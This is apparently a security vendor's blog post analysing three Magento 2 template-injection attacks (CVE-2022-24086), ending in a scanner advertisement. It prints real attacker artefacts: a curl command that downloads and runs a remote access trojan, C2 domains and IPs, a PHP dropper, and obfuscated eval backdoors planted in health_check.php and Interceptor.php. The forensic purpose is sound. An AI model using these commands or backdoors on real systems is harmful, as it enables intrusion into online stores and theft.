Get started in 5 minutes!

Surge in Magento 2 template attacks

The critical template vulnerability in Magento 2 (CVE-2022-24086) is gaining popularity among eCommerce cyber criminals. The majority of recent Sansec forensic cases concern this attack method. In this article we share our findings of 3 template hacks, and hope it will help you if you are confronted with a similar attack.

Currently, Sansec eComscan is the only malware scanner that detects the injected remote access trojan (see Virustotal).

223sam.jpg attack

All of the observed attacks have been interactive, possibly because the Magento checkout flow is very hard to automate. It starts with the creation of a new customer account and an order placement, which may result in a failed payment. The sales_order_address table now contains a record with malicious template code, which decodes to:

cd pub;cd media;curl https://theroots.in/pub/media/avatar/223sam.jpg -o cli &&chmod +x cli&&./cli;

This downloads a Linux executable called 223sam.jpg and launches it as a background process called cli. Sansec found that it is actually a Remote Access Trojan (RAT). While it remains in memory, it creates a state file lg000 and polls a remote server hosted in Bulgaria for commands.

dev-clientservice.com (primary)
mailchimp-addons.com
allsecurehosting.com

The RAT has full access to the database and the running PHP processes. Another difficulty for forensic investigators, is that this RAT can be injected on any of the nodes in a mult-server cluster environment.

The RAT invocation as ./cli is reminiscent of the backdoored FishPig attack that we disclosed last week. It may indicate a common threat actor.

IPs involved in this attack are:

45.128.199.3
45.134.20.11
86.104.15.60

health_check.php attack

A variation of this attack is the attempted injection of a health_check.php backdoor. The VAT field in the sales order may contain this template code, which (decoded) creates a file called pub/media/health_check.php:

$injStr = "PD9waHAKaWYoaXNzZXQoJF9QT1NUWyJhdGEiXSkpCnskdl9kYXRhPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJhdGEiXSk7CkBldmFsKCR2X2RhdGEpOwpleGl0KDApOwp9";
$pth = "health_check.php";
$lpth = "live.log";
$expth = "pub/";
$medpth = "media/";
$b64 = "base64_decode";
if (file_exists($pth)) {
    file_put_contents($pth, $b64($injStr));
    file_put_contents($medpth . $lpth, $lpth);
}
if (file_exists($expth . $pth)) {
    file_put_contents($expth . $pth, $b64($injStr));
    file_put_contents($expth . $medpth . $lpth, $lpth);
}

It contains a generic eval backdoor accepting commands via the POST ata parameter:

<?php
if(isset($_POST["ata"]))
{$v_data=base64_decode($_POST["ata"]);
@eval($v_data);
exit(0);
}

Interceptor.php attack

A third attack variation has this template code, which replaces generated/code/Magento/Framework/App/FrontController/Interceptor.php with this malicious code:

<?php
namespace Magento\Framework\App\FrontController;

/**
 * Interceptor class for @see \Magento\Framework\App\FrontController
 */
class Interceptor extends \Magento\Framework\App\FrontController implements \Magento\Framework\Interception\InterceptorInterface
{
    use \Magento\Framework\Interception\Interceptor;

    public function __construct(\Magento\Framework\App\RouterListInterface $routerList, \Magento\Framework\App\ResponseInterface $response, ?\Magento\Framework\App\Request\ValidatorInterface $requestValidator = null, ?\Magento\Framework\Message\ManagerInterface $messageManager = null, ?\Psr\Log\LoggerInterface $logger = null, ?\Magento\Framework\App\State $appState = null, ?\Magento\Framework\App\AreaList $areaList = null)
    {
        $this->___init();
        parent::__construct($routerList, $response, $requestValidator, $messageManager, $logger, $appState, $areaList);
    }

    /**
     * {@inheritdoc}
     */
    public function dispatch(\Magento\Framework\App\RequestInterface $request)
    {
        $pluginInfo = $this->pluginList->getNext($this->subjectType, 'dispatch');
        $cryption_block = base64_decode('JGYwPWZhbHNlO2lmKGlzc2V0KCR3MVtiYXNlNjRfZGVjb2RlKCdaVzVqY25sd2RHbHZibDlyWlhrPScpXSkpeyR2Mj0kdzFbYmFzZTY0X2RlY29kZSgnWlc1amNubHdkR2x2Ymw5clpYaz0nKV07aWYoJGgzPT0kdjIpeyRmMD10cnVlO319aWYoaXNzZXQoJHcxW2Jhc2U2NF9kZWNvZGUoJ1puSnZiblJPWVcxbCcpXSkpeyR1ND0kdzFbYmFzZTY0X2RlY29kZSgnWm5KdmJuUk9ZVzFsJyldOyR1ND1iYXNlNjRfZGVjb2RlKCR1NCk7fWlmKCRmMCl7JGw1PWV2YWwoJHU0KTtyZXR1cm4gJGw1O30=');
        $__init_function = @create_function('$w1, $h3', "$cryption_block");
        $hash_key = "f374edde20";
        $req = $_REQUEST;
        $__init_function($req,$hash_key);
        if (!$pluginInfo) {
            return parent::dispatch($request);
        } else {
            return $this->___callPlugins('dispatch', func_get_args(), $pluginInfo);
        }
    }
}

This will execute another typical PHP eval backdoor:

$f0 = false;
if (isset($w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')])) { // encryption_key
    $v2 = $w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')];
    if ($h3 == $v2) {
        $f0 = true;
    }
}
if (isset($w1[base64_decode('ZnJvbnROYW1l')])) { // frontName
    $u4 = $w1[base64_decode('ZnJvbnROYW1l')];
    $u4 = base64_decode($u4);
}
if ($f0) {
    $l5 = eval($u4);
    return $l5;
}

The malware is then executed on every Magento page request. But in practice, we have seen attackers use this URI as entry point:

POST /catalogsearch/result/?q=bestone

Hackers get smarter every day.
Outsmart them with eComscan.

eComscan is the automated backend security scanner that keeps your online store safe from attackers. Discover vulnerabilities and malicious activity instantly.
Sansec experts study dozens of hacks every day to keep you protected. Sansec is the only company specializing in Magento security and is a proud Adobe partner.

Scan now